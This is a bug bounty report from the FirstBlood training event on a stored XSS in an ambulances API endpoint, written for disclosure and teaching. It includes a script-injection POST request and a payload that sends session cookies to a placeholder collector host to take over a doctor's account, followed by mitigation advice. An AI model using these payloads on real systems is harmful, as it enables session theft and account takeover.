FirstBlood-#1236 — Unauthenticated Stored XSS on ambulances.php can lead to account takeover (of doctors)
This issue was discovered on FirstBlood v3
On 2022-12-08, 0xblackbird Level 5 reported:
Summary:
Hi mate!
I hope you're doing well today!
I found a stored XSS vulnerability on /api/ambulances.php
. The first & lastname are reflected into the source code without being filtered or escaped correctly.
Possible cause:
User input that got passed in from the book appointment endpoint got directly reflected in the server's response without being validated first. Developers may have underestimated that the endpoint could also be requested directly.
Impact:
I was able to execute javascript code on any user's behalf. Even more, I was also able to steal the sensitive session cookie as it is not an HTTPOnly cookie. This allowed me to successfully take over the account of the doctor.
Steps to reproduce:
1) First of all, you need to book a new appointment with our payload. To do so, you'll need to invoke the API directly (as client-side filters are set and/or need a proxy interceptor to evade anyway or you could just remove the checks from the function yourself).
2) Replicate the following POST request and send it (note that I added the ambulance parameter and set it to 1
).
POST /api/ba.php HTTP/1.1
Host: {HOST}
Content-Length: 273
Content-Type: application/x-www-form-urlencoded
Anti-Csrf: 1
fname=<script>alert(document.domain)</script>xyz'"x&lname=<i>xyz'"x&address=<i>xyz'"x&city=<i>xyz'"x&phonenumber=<i>xyz'"x&email=<i>xyz'"x&dob=<i>xyz'"x&a1=<i>xyz'"x&a2=<i>xyz'"x&a3=<i>xyz'"x&message=<i>xyz'"x&slot=1&ambulance=1
3) Take note of the UUID in the response. Now, visit /api/ambulances.php?select={UUID}
. The alert box should popup with the document's domain.
Now, if the user is authenticated, we can easily take over the doctor's account as cookies are not set to be HTTPOnly. To do so, we could put the following payload in the fname parameter to steal and send the cookies back to us:
<script>location.href=`//{BURP_COLLABORATOR}/collector?cookies=${document.cookie}`</script>
Next, visit the endpoint again but with the newer UUID.
/api/ambulances.php?select={UUID}
Upon visiting the URL (as the victim), we can see a hit with the cookies on our server:
Mitigation
I highly recommend encoding any user input and validating it before reflecting it in the response. I also recommend to change the API endpoint's response content type to a non-script based one such as application/json
(as it seems to return data in JSON format).
Thanks for hosting such an awesome event again!
Kind regards,
0xblackbird
P2 High
Endpoint: /api/ambulances.php
Parameter: name
Payload: <script>alert(document.domain)</script>
FirstBlood ID: 53
Vulnerability Type: Stored XSS
It is possible to achieve stored XSS on /api/ambulances.php?select={id} via the users first/last name. For this to work the parameter ambulance=1 must be set